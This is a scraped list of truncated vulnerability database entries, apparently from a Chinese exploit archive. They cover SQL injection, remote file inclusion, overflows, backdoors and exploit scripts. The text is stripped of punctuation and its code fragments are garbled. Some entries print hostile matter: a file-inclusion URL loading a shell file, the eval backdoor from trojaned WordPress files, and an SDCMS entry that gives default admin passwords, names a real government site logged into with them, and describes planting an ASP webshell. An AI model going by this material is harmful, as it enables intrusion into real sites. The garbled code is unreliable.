ECShop goods_script.php注射漏洞

oodsscript.php44行: if empty$GET'type' ... elseif $GET'type' == 'collection' ... $sql .= " LIMIT " . !empty$GET'goodsnum' ? intval$GET'goodsnum' : 10; $res = $db-query$sql; $sql没有初始化,很明显的一个漏洞: 2.5.x 2.6.x, 暂无 !/usr/bin/php ?php printr'...

OpenSSL多个拒绝服务漏洞

BUGTRAQ ID: 29405 CVECAN ID: CVE-2008-0891,CVE-2008-1672 OpenSSL是一种开放源码的SSL实现，用来实现网络通信的高强度加密，现在被广泛地用于各种网络应用程序中。 OpenSSL在处理畸形的连接时存在漏洞，远程攻击者可能利用此漏洞导致服务器程序崩溃。 当用以下命令行运行OpenSSL时： openssl sserver -key pathtokey \ -cert pathtocertificate \ -www openssl ciphers 'ALL:COMPLEMENTOFALL' 如果接收到的Client...

Apple Mac OS X 2008-003更新修复多个安全漏洞

BUGTRAQ ID: 29412 CVECAN ID: CVE-2008-1027,CVE-2008-1028,CVE-2008-1577,CVE-2008-1575,CVE-2008-1580,CVE-2008-1030,CVE-2008-1031,CVE-2008-1032,CVE-2008-1033,CVE-2008-1034,CVE-2008-1035,CVE-2008-1036,CVE-2008-1571,CVE-2008-1572,CVE-2008-1573,CVE-2008-1574,CVE-2008-1576,CVE-2008-1578,CVE-2008-1579 Ma...

Adobe Flash Player SWF文件DeclareFunction2 ActionScript标签堆溢出漏洞

BUGTRAQ ID: 28694 CVECAN ID: CVE-2007-6019 Flash Player是一款非常流行的FLASH播放器。 Flash player在试图访问没有正确实例化的嵌入Actionscript对象时存在堆溢出漏洞，如果攻击者恶意修改了SWF文件中的DeclareFunction2 Actionscript标签的话，则用户打开该文件就可能触发堆溢出，导致以当前登录用户的权限执行任意指令。 Adobe Flash Player 9.0.115.0 Adobe ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Sun Java运行时环境图形解析堆溢出漏洞

BUGTRAQ ID: 28125 CVECAN ID: CVE-2008-1193 Solaris系统的Java运行时环境（JRE）为JAVA应用程序提供可靠的运行环境。 Java运行时环境的图形解析库中在解析畸形JPEG图形的ICC配置文件时存在堆溢出漏洞，以下是漏洞代码： Limit = SpGetUInt32 Buf; ... UInt16Ptr = KpUInt16t SpMalloc Limit KpInt32tsizeof UInt16Ptr; ... for Index = 0; Index Limit; Index++ UInt16Ptr++ = SpGetUInt16...

Linux Kernel ISDN_Net.C本地缓冲区溢出漏洞

BUGTRAQ ID: 26605 CVE ID:CVE-2007-6063 CNCVE ID:CNCVE-20076063 Linux是一款开放源代码的操作系统。 Linux包含的'isdnnetsetcfg'函数存在设计错误，本地攻击者可以利用漏洞进行缓冲区溢出攻击，可能提升特权。 在isdnioctl函数中会调用isdnnetsetcfg： isdnioctl drivers/isdn/i4l/isdncommon.c: 1270 isdnioctlstruct inode inode, struct file file, uint cmd, ulong arg...

PicoFlat CMS多个远程安全绕过漏洞

PicoFlat CMS是一款内容管理系统。 PicoFlat CMS不正确验证用户权限，远程攻击者可以利用漏洞绕过安全限制，访问应用程序执行管理员功能。 目前没有详细漏洞细节提供。 PicoFlat CMS PicoFlat CMS 0.4.14 PicoFlat CMS PicoFlat CMS 0.4.5 升级程序： PicoFlat CMS PicoFlat CMS 0.4.14 PicoFlat CMS PicoFlatCMS24102007.0.4.18.tar.gz...

phpBB Links MOD Remote Blind SQL Injection Exploit

No description provided by source. ?php / D:\usr\local\phpphp test.php http://www.skypebbs.com/ -id=2 ------------------------------------------------------------ phpBB Links MOD Remote Blind SQL Injection Exploit exploit by flyh4tcnsst.org bug found by Love Fly dork:Links MOD v1.2.2 by phpBB2...

Mono System.Web StaticFileHandler.cs源码泄露漏洞

BUGTRAQ ID: 26166 CVECAN ID: CVE-2007-5473 Mono是基于.NET框架的开源开发平台，允许开发人员构建Linux和跨平台的应用。 运行在Windows平台上的Mono中StaticFileHandler.cs文件没有正确地处理某些用户请求，可能导致源码泄露。 如果请求中所使用的文件名以空格或句号结束的话，Win32子系统就无法正确地处理这样的文件名，会忽略拖尾字符，允许调用的应用程序打开磁盘上的文件，即使该文件的名称不包含有请求中所使用的拖尾字符。发送上述请求就会导致XSP返回所请求页面的源码。 Mono 1.x...

Microsoft Windows柯达图像查看器远程代码执行漏洞（MS07-055）

BUGTRAQ ID: 25909 CVECAN ID: CVE-2007-2217 Microsoft Windows是微软发布的非常流行的操作系统。 Windows中的柯达图像查看器处理特制图像文件的方式中存在内存破坏漏洞，远程攻击者可能利用此漏洞通过诱使用户处理畸形数据控制用户系统。 攻击者可以通过构建特制图像来利用此漏洞，如果用户访问网站、查看特制电子邮件或者打开电子邮件附件，该漏洞可能允许远程执行指令。成功利用此漏洞的攻击者可以完全控制受影响的系统。 Microsoft Windows XP SP2 Microsoft Windows Server 2003 SP2...

LiveCMS <= 3.4 (categoria.php cid) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl / \ / \ | | | | | | | | | | | / | | | | | | | ' / | | ' \ / \ | | | | || | || | | | \ | | | | / | , |/ /|| ||| |||| / | |/ INFO: Program Title LiveCMS = 3.4 SQL Injection,&nbs...

FuseTalk Index.CFM SQL注入漏洞

FuseTalk是一款WEB应用程序。 FuseTalk不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL注入攻击获得敏感信息。 问题是由于'Index.CFM'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL查询作为参数数据，可导致应用程序处理时更改原来的SQL逻辑，攻击者可以获得敏感信息或者操作数据库。 FuseTalk 2.0 目前没有解决方案提供： http://www.fusetalk.com/...

Webavis 0.1.1 (class.php root) Remote File Inclusion Vulnerability

No description provided by source. Webavis Remote file inclusion root Download script : http://webavis.myreseau.org/src/webavis-0.1.1.tar.gz Thanks Str0ke :D Exploit : http://victim.com/webavis/class/class.php?root=shell.txt ? Discovered by ThE TiGeR MiroTigeratHotmail.com sebug.net...

Freetype TT_Load_Simple_Glyph() TTF文件处理整数溢出漏洞

FreeType是一个流行的字体函数库。 Freetype的truetype/ttgload.c文件中TTLoadSimpleGlyph函数处理畸形TTF图形时存在有符/无符转换错误，如果用户受骗打开了设置有负数npoints值的畸形TTF图形的话，就可能触发整数溢出和堆溢出，导致执行任意指令。 FreeType FreeType = 2.3.4 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Beacon Splash.lang.PHP远程文件包含漏洞

Beacon是一款基于PHP的WEB应用程序。 Beacon不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'Splash.lang.PHP'脚本对用户提交的'languagePath'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 GNU Beacon 0.2 目前没有解决方案提供： http://savannah.gnu.org/projects/beaconoptions...

Xoops Module Lykos Reviews 1.00 (index.php) SQL Injection Exploit

No description provided by source. html head titleXOOPS Module Lykos Reviews 1.00 index.php BLIND SQL Injection Exploit/title script type="text/javascript" //'=============================================================================================== //'Script Name: XOOPS Module Lykos Reviews...

PortailPhp 2.0 (idnews) Remote SQL Injection Exploit

No description provided by source. use LWP::Simple; print " Exploit Coded c by xoron Portail PHP v20 index.php Remote SQL Injection Exploit Languages: Turkish, English Plz Select Language:"; $dil = stdin; %eng = "site" = "Enter The Victim Without http://:", "path" = "Plz Select Path:", "id" = "Pl...

Wordpress 2.1.1远程命令执行后门漏洞

WordPress是一款免费的论坛Blog系统。 WordPress提供软件下载的网站被入侵，入侵者修改了软件代码码植入远程可执行命令的后门，远程攻击者可能利用这个后门以Web进程权限在安装了恶意版本WordPress的服务器上执行任意命令。 被修改的文件是wp-includes/feed.php和wp-includes/theme.php，被添加了如下代码： 在wp-includes/feed.php文件中： function commenttextphpfilter$filterdata eval$filterdata; ... if $GET"ix"...

IBM AIX Setlocale本地特权提升漏洞

IBM AIX是一款商业性质的操作系统。 IBM AIX Setlocale函数存在未明问题，本地攻击者可以利用漏洞提升特权。 IBM AIX 5.3 IBM AIX 5.2 IBM AIX 5.1 IBM AIX 5.1 IBM setlocaleifix.tar.Z ftp://aix.software.ibm.com/aix/efixes/security/setlocaleifix.tar.Z IBM AIX 5.2 IBM setlocaleifix.tar.Z...

Apple AirPort Extreme驱动Beacon帧拒绝服务漏洞

Apple Airport Extreme driver是一款MacOS系统上的无线驱动程序。 Apple Airport Extreme driver不正确处理部分beacon帧，远程攻击者可以利用漏洞对系统进行拒绝服务攻击。 目前没有详细漏洞细节提供。 Apple Airport Extreme Driver http://www.apple.com/...

pSlash 0.7 (lvc_include_dir) Remote File Include Vulnerability

No description provided by source. pSlash v0.7 lvcincludedir Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: require$lvcincludedir.'db/dbmysql.inc.php'; Exploit:...

WebKit: Use-after-free when resuming generator(CVE-2018-4218)

In WebKit, resuming a generator is implemented in JavaScript. An internal object property, @generatorState is used to prevent recursion within generators. In GeneratorPrototype.js, the state is checked by calling: var state = this.@generatorState; and set by calling: generator.@generatorState =...

SQLi, XSS zero-days expose Belkin IoT devices, Android smartphones

LONDON, UK – Research director Scott Tenaglia and lead research engineer Joe Tanen detailed the vulnerabilities during their ‘Breaking BHAD: Abusing Belkin Home Automation devices’ talk at the Black Hat Europe conference in London last Friday. The zero-day flaws specifically relate to Belkin’s...

libxls read_MSAT Code Execution Vulnerability(CVE-2017-2897)

Summary An exploitable out-of-bounds write vulnerability exists in the readMSAT function of libxls 1.4. A specially crafted XLS file can cause a memory corruption resulting in remote code execution. An attacker can send malicious XLS file to trigger this vulnerability. Tested Versions libxls 1.4...

Cesanta Mongoose MQTT SUBSCRIBE Multiple Topics Remote Code Execution(CVE-2017-2894)

Summary An exploitable stack buffer overflow vulnerability exists in the MQTT packet parsing functionality of Cesanta Mongoose 6.8. A specially crafted MQTT SUBSCRIBE packet can cause a stack buffer overflow resulting in remote code execution. An attacker needs to send a specially crafted MQTT...

Network Time Protocol Forced Interleaved Time Spoofing Vulnerability(CVE-2016-1548)

SUMMARY It is possible to change the time of an ntpd client or deny service to an ntpd client by forcing it to change from basic client/server mode to interleaved symmetric mode. An attacker can spoof a packet from a legitimate ntpd server with an origin timestamp that matches the peer-dst...

Apple Image I/O EXR Compression Remote Code Execution Vulnerability(CVE-2016-4630)

SUMMARY An exploitable heap based buffer overflow exists in the handling of EXR images on OS X. A crafted EXR document can lead to a heap based buffer overflow resulting in remote code execution. Vulnerability can be triggered via a saved EXR file delivered by other means when opened in any...

National Instruments LabVIEW RSRC Arbitrary Null Write Code Execution Vulnerability(CVE-2017-2779)

Summary An exploitable memory corruption vulnerability exists in the RSRC segment parsing functionality of LabVIEW. A specially crafted VI file can cause an attacker controlled looping condition resulting in an arbitrary null write. An attacker controlled VI file can be used to trigger this...

Wordpress SQLi

Source 1:https://medium. com/websec/wordpress-sqli-bbb2afcc8e94 Wordpress SQLi There won't be an intro, let us jump to the problem. This is the wordpress database abstraction the prepare method code: public function prepare $query, $args if isnull $query return; // This is not meant to be foolpro...

Microsoft Internet Explorer Remote Code Execution Vulnerability(CVE-2017-8618)

There is a type confusion issue related to how some arithmetic operations are performed in VBScript. To illustrate, see the following simplified code of VbsVarMod static unsigned char resultlookuptable1818 = ... void VbsVarModVAR v1, VAR v2 VAR arithv1 = v1-PvarGetArithVal; VAR arithv2 =...

WebKit: UXSS via CachedFrameBase::restore

This is similar to the case https://bugs.chromium.org/p/project-zero/issues/detail?id=1151. But this time, javascript handlers may be fired in FrameLoader::open. void FrameLoader::openCachedFrameBase& cachedFrame ... cleardocument, true, true, cachedFrame.isMainFrame; Click anywhere... function...

Trend Micro Threat Discovery Appliance <= 2.6.1062r1 logoff.cgi Directory Traversal Authentication Bypass Vulnerability（CVE-2016-7552）

Summary: There exists a pre-authenticated directory traversal vulnerability that allows an attacker to delete any folder or file as root. This can result in an attacker causing a DoS or bypassing authentication. Exploitation: An attacker can use this vulnerability to bypass the authentication by...

Windows Kernel win32k.sys multiple bugs in the NtGdiGetDIBitsInternal system call (CVE-2017-0058)

We have discovered two bugs in the implementation of the win32k!NtGdiGetDIBitsInternal system call, which is a part of the graphic subsystem in all modern versions of Windows. The issues can potentially lead to kernel pool memory disclosure bug 1 or denial of service bug 1 and 2. Under certain...

GitHub Enterprise SQL injection vulnerability

作者：Orange 前言 GitHub Enterprise 是一款 GitHub.com 所出品，可將整個 GitHub 服務架設在自身企業內網中的應用軟體。 有興趣的話你可以從 enterprise.github.com 下載到多種格式的映像檔並從網頁上取得 45 天的試用授權! 安裝完成後，你應該會看到如下的畫面: 好!現在我們有整個 GitHub 的環境了，而且是在 VM 裡面，這代表幾乎有完整的控制權可以對他做更進一步的研究，分析環境、程式碼以及架構等等... 環境 身為一個駭客，再進行入侵前的第一件事當然是 Port Scanning! 透過 Nmap 掃描後發現 VM 上一...

PHPYUN任意文件上传导致GETSHELL

简要描述： 简单到你难以想象，只要网站还可以注册就可以GETSHELL，无视GPC,无视WAF。4.1beta版本，其他版本未测 详细说明： 1.在审计PHPYUN的时候一度对PHPYUN的WAF非常无语，但是在大家都痴迷于寻找SQL注入漏洞的时候，确实忽略了一个很简单的上传漏洞。首先定位到漏洞文件wap/member/model/index.class.php function photoaction if$POST'submit' pregmatch'/^data:\simage/\w+;base64,/', $POST'uimage', $result;...

Discuz X2.5 /uc_server/control/admin/db.php 路径泄露漏洞

No description provided by source...

PycURL远程代码执行漏洞

简要描述： 利用pycurl上传文件时，如果文件内容是unicode类型，那么会产生Use After Free漏洞 详细说明： 文件名： pycurl\src\easy.c 如果setopt给定的FORMBUFFERPTR的内容是Unicode，如 curl.setoptpycurl.HTTPPOST, 'field2', pycurl.FORMBUFFER, 'uploaded.file', pycurl.FORMBUFFERPTR, u'test', 那么会进入如下流程: 代码1571行会先把unicode转换成str，ostr和olen，分别是str的字符串指针和长度...

SDCMS大量网站存在弱口令#Getshell方法

简要描述： RT 详细说明： SDCMS大量网站存在弱口令 默认后台 admin/login.asp 弱口令 admin admin、admin admin888、sdcms sdcms、admin 123456 随便找了个政府站 http://www.qhxjcy.gov.cn/admin/ sdcms sdcms 进后台选择--界面 接着 模板管理----管理模板 选择 sdcmsindex.asp 并插入asp一句话 访问http://www.qhxjcy.gov.cn/index.asp img...

phpcms v9用户登录处存在sql注入漏洞

password字段如果存在特殊字符，在传入到程序时仍然会被转义，而且在phpsso的login中使用的是username做数据库查询，而不是password。针对第一个问题我们可以使用二次url编码的方法来搞定，在解码之后程序还是用了parsestr对字符串进行了拆解，而这个函数还附带了解url编码的功能。所以，我们只需要在传password内容时传递%2527就可以让单引号出现在phpsso的变量中了。第二个问题也用到parsestr的功能，parsestr在解析“username=123&password=456”这样的字符串，会把它解析为：Array username=123,...

PHPMyWind任意用户密码重置

简要描述： PHPMyWind任意用户密码重置 详细说明： 首先我们注册两个用户 第一个叫jkgh006 第二个叫test123 那么我们下来分析一下代码: member.php: else if$a == 'saveedit' //检测数据完整性 if$password!=$repassword or $email=='' header'location:?c=edit'; exit; //HTML转义变量 $answer = htmlspecialchars$answer; $cnname = htmlspecialchars$cnname; $enname =...

TurboMail 6.0.0 /nicknamelogin.jsp 登录绕过漏洞

No description provided by source...

Drupal Core &lt;= 7.32 - SQL Injection (PHP)

No description provided by source. ?php ----------------------------------------------------------------------------- Exploit Title: Drupal core 7.x - SQL Injection Date: Oct 16 2014 Exploit Author: Dustin Dörr Software Link: http://www.drupal.com/ Version: Drupal core 7.x versions prior to 7.32...

Ultra Electronics 7.2.0.19 and 7.4.0.7 - Multiple Vulnerabilities

No description provided by source. Ultra Electronics / AEP Networks - SSL VPN Netilla / Series A / Ultra Protect Vulnerabilities http://www.osisecurity.com.au/advisories/ultra-aep-netilla-vulnerabilities Release Date: 02-Oct-2014 Software: Ultra Electronics - Series A...

ttCMS <= 4 - (ez_sql.php lib_path) Remote File Inclusion Vulnerability

No description provided by source. DEVIL TEAM - HACKING POLISH TEAM Author: Kacper a.k.a Rahim Contact: [email protected] Homepage: http://www.rahim.webd.pl/ Irc: irc.milw0rm.com:6667 devilteam -------------------------------------------- Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM...

phpBB <= 2.0.20 (Admin/Restore DB/default_lang) Remote Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo PhpBB = v2.0.20 \Admin/Restore Database/defaultlang remote commands execution\r\n; echo by rgod [email protected]\r\n; echo site: http://retrogod.altervista.org\r\n; echo - you need an admin sid, works regardless of...

RunCMS 1.1/1.2 NewBB_Plus and Messages Modules Multiple SQL Injection Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/14631/info RunCMS is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. Successful exploitation...

Acpid 1:2.0.10-1ubuntu2 Privilege Boundary Crossing Vulnerability

No description provided by source. Exploit Title: Acpid Privilege Boundary Crossing Vulnerability Google Dork: Date: 23-11-2011 Author: otr Software Link: https://launchpad.net/ubuntu/+source/acpid Version: 1:2.0.10-1ubuntu2 Tested on: Ubuntu 11.10, Ubuntu 11.04 CVE : CVE-2011-2777 -- Safeguard...

mxBB Module mx_glance 2.3.3 - Remote File Include Vulnerability

No description provided by source. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + mxBB Module mxglance 2.3.3 Remote File Include Vulnerability + + + + Discovered by bd0rk || SOH-Crew + + + + www.soh-crew.it.tt + + + + The german Coding and IT-Security Ressource + + +...

SOOP Portal Raven 1.0b SQL Injection Vulnerability

No description provided by source. Exploit Title: SOOP Portal Raven 1.0b sql injection Google Dork: Powered by SOOP Portal Raven 1.0b Date: date Author: Evil-Thinker Version: Raven 1.0b Tested on: Windows Soft Technologie : ASP.net Exploit Details :...

TP-Link TL-SC3171 IP Cameras - Multiple Vulnerabilities

Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras 1. Advisory Information Title: Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras Advisory ID: CORE-2013-0618 Advisory URL:...